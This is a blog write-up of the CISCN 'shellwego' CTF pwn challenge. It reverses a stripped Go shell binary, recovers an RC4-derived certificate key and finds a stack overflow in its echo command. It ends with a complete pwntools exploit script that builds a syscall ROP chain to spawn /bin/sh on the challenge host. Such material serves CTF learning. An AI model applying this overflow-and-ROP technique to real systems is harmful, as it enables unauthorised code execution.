ciscn shellwego

发布时间 2023-07-11 16:03:12作者: 91ac0m0

go 逆向

  • 恢复符号表

    elf 是去了符号表的,可以用 bindiff 恢复符号表。(将这个文件和其他的有符号表的 go 的文件 database diff,相似的部分导入符号表,自动导入重合度高的函数)

  • golang 的传参方式

    在 Go1.17 版本之前,Go 函数调用是通过栈来传递的。1.17 中 32 位的通过寄存器传递,64 位的还是栈,到 Go1.18 全部通过寄存器传递参数了。不过具体是哪些寄存器用什么顺序传参,感觉不是固定的欸(?)。

  • 查看 go elf 和 modules 的版本

    本题没有外部的 modules

    go version pwn
    go version -m pwn
    

main_main (0x4C1D60)

通过 ciscnshell$ 字符串找到 main_main。因为看不来参数的位置,所以只能对着函数名猜逻辑()。通过一个全局变量来判断身份,如果 check 没通过则输出 ciscnshell$,如果通过则是 nightingale#。随后用 bufio__Reader_ReadString 读取输入,到换行符停止。然后用 get_command 对输入处理。

func (b *Reader) ReadString(delim byte) (string, error)
//ReadString reads until the first occurrence of delim in the input, returning a string containing the data up to and including the delimiter.

image-20230711093940118

get_command (0x4C1900)

trimspace 除去开头结尾的空格,然后用了 regexp 库做了正则替换。这里是识别所有的 " +",一个及以上空格,用 “ ”一个空格替换,即连续的多个空格只保留一个。

func Compile(expr string) (*Regexp, error)
func (re *Regexp) ReplaceAllString(src, repl string) string
//ReplaceAllString returns a copy of src, replacing matches of the Regexp with the replacement string repl. Inside repl, $ signs are interpreted as in Expand, so for instance $1 represents the text of the first submatch.

接下来check 了身份,如果没有check 通过,只能输入 "cert"。注意 cmp dword ptr [rdx], 'trec' 是比较一个存储单位里的值是否一样,所以字符串的顺序不是 "trec" 而是 “cert”。随后用 genSplit 分割字符串。

这里的 gensplit 是 go 中 split 操作的内部函数,参考Golang字符串操作

func Split(s, sep string) []string { return genSplit(s, sep, 0, -1) }
func SplitAfter(s, sep string) []string { return genSplit(s, sep, len(sep), -1) }
func SplitN(s, sep string, n int) []string { return genSplit(s, sep, 0, n) }
func SplitAfterN(s, sep string, n int) []string { return genSplit(s, sep, len(sep), n) }

从参数和结果推测原函数是 Split(S, “ ”) ,分割空格前后的字符串,返回值是字符串切片,可以看作这样的结构体

param1
param1_len
param2
parame_len
image-20230711095407646

如果身份 check 通过,就可以输入 “echo ls cat whoami” 等等命令。

check_cert (0x4C14A0)

当第二个参数长的为 9 且等于 "nAcDsMicN " 时,进入 check_cert函数。

image-20230711102712088

里面是 rc4 输入将字符串转成字节 slice,经过 rc4 加密后输出转成 base64。

func NewCipher(key []byte) (*Cipher, error)
func (c *Cipher) XORKeyStream(dst, src []byte)
func EncodeToString(src []byte) string

image-20230711103927916

得到了密钥。

deal_echo (0xC1720)

这里将空格分割之后的 string slice 拼接在一起。用了 concatstring2,然后会检查上一次拼接的长度有没有超过 0x200,即每一段空格之间的字符串不能超过 0x200。(这里好隐蔽

image-20230711104627580

主要是下面这里有一个溢出(在不大于 0x400 的大小范围内,把输入跳过 "+" 复制到栈上距离返回地址只有 0x240 左右的地方),所以肯定会想怎么绕过上面的 0x200。

image-20230711110530873

试一下果然可以

image-20230711111541403

rop

用 syscall 的 gadget 写 rop。

这么找 syscall ROPgadget --binary pwn --only 'syscall'

# from ropgadget
sys =  0x40328c
rax = 0x040d9e6
rdi = 0x444fec
rdx = 0x49e11d
rsi = 0x41e818
binsh = 0x588018

overflow = b'echo '+b'+'*0x1f0 + b' ' + b'+'*0x33
overflow += flat(
    rax,
    0,
    rdi,
    0,
    rsi,
    binsh,
    rdx,
    50,
    sys,
    rax,
    59,
    rdi,
    binsh,
    rsi,
    0,
    rdx,
    0,
    sys,
    )
sla('nightingale#', overflow)
sl(b'/bin/sh\x00')

exp

from pwn import *

elf_path = "./pwn"
ip = "121.40.89.206"
port = "20111"
content = 1

context(os='linux',arch='amd64',log_level='debug')
if content == 1:
    context.terminal = ['tmux','splitw','-h']
    p = process(elf_path)
    # gdb.attach(p)
    # p = gdb.debug(elf_path, 'b* 0x4C188C')
    # pause()

else:
    p = remote(ip, port)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()

# ----------------------------------------------------------

cert = 'cert nAcDsMicN S33UAga1n@#!'
sla('ciscnshell$', cert)

# from ropgadget
sys =  0x40328c
rax = 0x040d9e6
rdi = 0x444fec
rdx = 0x49e11d
rsi = 0x41e818
binsh = 0x588018

overflow = b'echo '+b'+'*0x1f0 + b' ' + b'+'*0x33
overflow += flat(
    rax,
    0,
    rdi,
    0,
    rsi,
    binsh,
    rdx,
    50,
    sys,
    rax,
    59,
    rdi,
    binsh,
    rsi,
    0,
    rdx,
    0,
    sys,
    )
sla('nightingale#', overflow)
sl(b'/bin/sh\x00')

p.interactive()